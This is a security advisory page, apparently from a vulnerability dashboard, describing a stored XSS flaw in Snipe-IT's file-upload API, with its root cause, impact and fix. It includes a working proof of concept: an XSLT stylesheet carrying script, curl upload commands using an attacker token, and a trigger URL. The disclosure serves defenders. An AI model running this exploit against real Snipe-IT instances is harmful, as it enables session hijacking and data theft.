Kestrel
대시보드로 돌아가기
CVE-2026-63498HIGH· 8.7MITRENVDGHSA대응게시일: 2026. 09. 24.수정일: 2026. 09. 24.

Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API

XSS

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.7high

이론적 심각도 점수

EPSS
—

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.18.7HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

상세 설명

Snipe-IT's uploaded-files API accepts XML documents and later serves them inline without applying the safe-inline allowlist used by the equivalent web controller. An authenticated user who can attach files to a supported object can upload an XSLT stylesheet and an XML document that references it through xml-stylesheet. When another authorized user opens the XML file through the API with ?inline=true, the browser applies the attacker-controlled stylesheet, which produces HTML containing JavaScript in the Snipe-IT origin.
This was reproduced against commit df8e3b144331d0c1cc14778f900e7646d1d9a509 (v8.6.3-231-gdf8e3b1443).

The attack requires an authenticated account with file access to at least one supported object and one victim interaction. Scope changes because attacker-controlled code executes in another user's Snipe-IT security context. The script can read same-origin data available to the victim and perform authenticated actions as that victim.

Affected Components

  • app/Http/Requests/UploadFileRequest.php
    Allows xml uploads through filesystems.allowed_upload_extensions_for_validator.
    Sanitizes only files detected as image/svg+xml. Both files in this proof of concept are detected by PHP finfo as text/xml, so they are stored unchanged.
  • config/filesystems.php
    Includes xml in allowed_upload_extensions_array.
  • app/Http/Controllers/Api/UploadedFilesController.php, method show()
    Honors the attacker-controlled inline=true query parameter for every uploaded file type.
    Calls Storage::download(..., ['Content-Disposition' => 'inline']) without calling StorageHelper::allowSafeInline().
  • routes/api.php
    Exposes the affected route as GET /api/v1/{object_type}/{id}/files/{file_id} for multiple object types.
  • app/Http/Middleware/SecurityHeaders.php
    The default CSP includes script-src 'self' 'unsafe-inline' 'unsafe-eval', so it does not mitigate the injected inline script.
    The non-API UploadedFilesController::show() already calls StorageHelper::allowSafeInline() before returning an inline response. The missing equivalent check in the API controller creates the vulnerable behavior.
    Root Cause

File validation treats XML as an allowed attachment format, but the API download path treats all accepted formats as safe active browser content. Extension allowlisting for upload is not equivalent to determining whether a response is safe to render inline.
Laravel derives the response Content-Type from each stored file. It returns text/xml; charset=utf-8, while the controller overrides the normal attachment disposition with Content-Disposition: inline. Chromium processes the xml-stylesheet instruction, loads the second same-origin API attachment as XSLT, and executes script in the HTML document produced by the transform.

An attacker can execute arbitrary JavaScript in the Snipe-IT origin when a victim opens the malicious attachment URL. Depending on the victim's privileges, this can enable:

  • Reading same-origin pages and API responses available to the victim.
  • Performing state-changing actions with the victim's session and privileges.
  • Exposing sensitive asset, user, license, and configuration information.
  • Administrative account compromise when a superuser opens the attachment.
  • Cookies marked HttpOnly cannot be read directly, but this does not prevent same-origin authenticated requests or reading their responses.

Proof of Concept

Preconditions

  • Snipe-IT is installed with default XML upload support.
  • The attacker has an API token for a user permitted to manage files on a supported object.
  • The victim is authenticated and permitted to view files on that object.
  1. Create the malicious XSLT file

Save the following as style.xml:

xss
1<?xml version="1.0"?>
2<xsl:stylesheet version="1.0"
3 xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
4 <xsl:template match="/">
5 <html>
6 <head><title>BEFORE</title></head>
7 <body>
8 <div id="result">NOT_EXECUTED</div>
9 <script>
10 document.getElementById('result').textContent = 'XSS_EXECUTED';
11 document.title = 'SNIPE_XSS';
12 </script>
13 </body>
14 </html>
15 </xsl:template>
16</xsl:stylesheet>

PHP finfo identifies this file as text/xml, not image/svg+xml.
2. Upload the stylesheet through the API

Replace the base URL, token, object type, and object ID with values from the test instance:

bash
1curl -i \
2 -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
3 -H 'Accept: application/json' \
4 -F 'file[]=@style.xml;type=text/xml' \
5 'https://snipe-it.example/api/v1/models/1/files'

Expected result: HTTP 200 and a successful upload response.

  1. Obtain the stylesheet file ID
bash
1curl -s \
2 -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
3 -H 'Accept: application/json' \
4 'https://snipe-it.example/api/v1/models/1/files'

Read the style.xml upload's id from the response and call it STYLE_FILE_ID.

  1. Create and upload the referencing XML document

Save this as data.xml, replacing STYLE_FILE_ID:

bash
1<?xml version="1.0"?>
2<?xml-stylesheet type="text/xsl" href="https://snipe-it.example/api/v1/models/1/files/STYLE_FILE_ID?inline=true"?>
3<data>test</data>
4PHP finfo also identifies this file as text/xml.
5curl -i \
6 -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
7 -H 'Accept: application/json' \
8 -F 'file[]=@data.xml;type=text/xml' \
9 'https://snipe-it.example/api/v1/models/1/files'

List the files again and obtain the id of data.xml; call it DATA_FILE_ID.

  1. Trigger the vulnerability

While authenticated in the Snipe-IT web interface as a victim who can view the object's files, open the following in the same browser. The normal Snipe-IT Passport cookie authenticates both same-origin API requests:
https://snipe-it.example/api/v1/models/1/files/DATA_FILE_ID?inline=true
Expected vulnerable response characteristics:

text
1HTTP/1.1 200 OK
2Content-Type: text/xml
3Content-Disposition: inline
4Content-Security-Policy: ...; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...

Browser result: the page title changes to SNIPE_XSS, and the displayed text changes from NOT_EXECUTED to XSS_EXECUTED.

Fixed

Fixed in https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.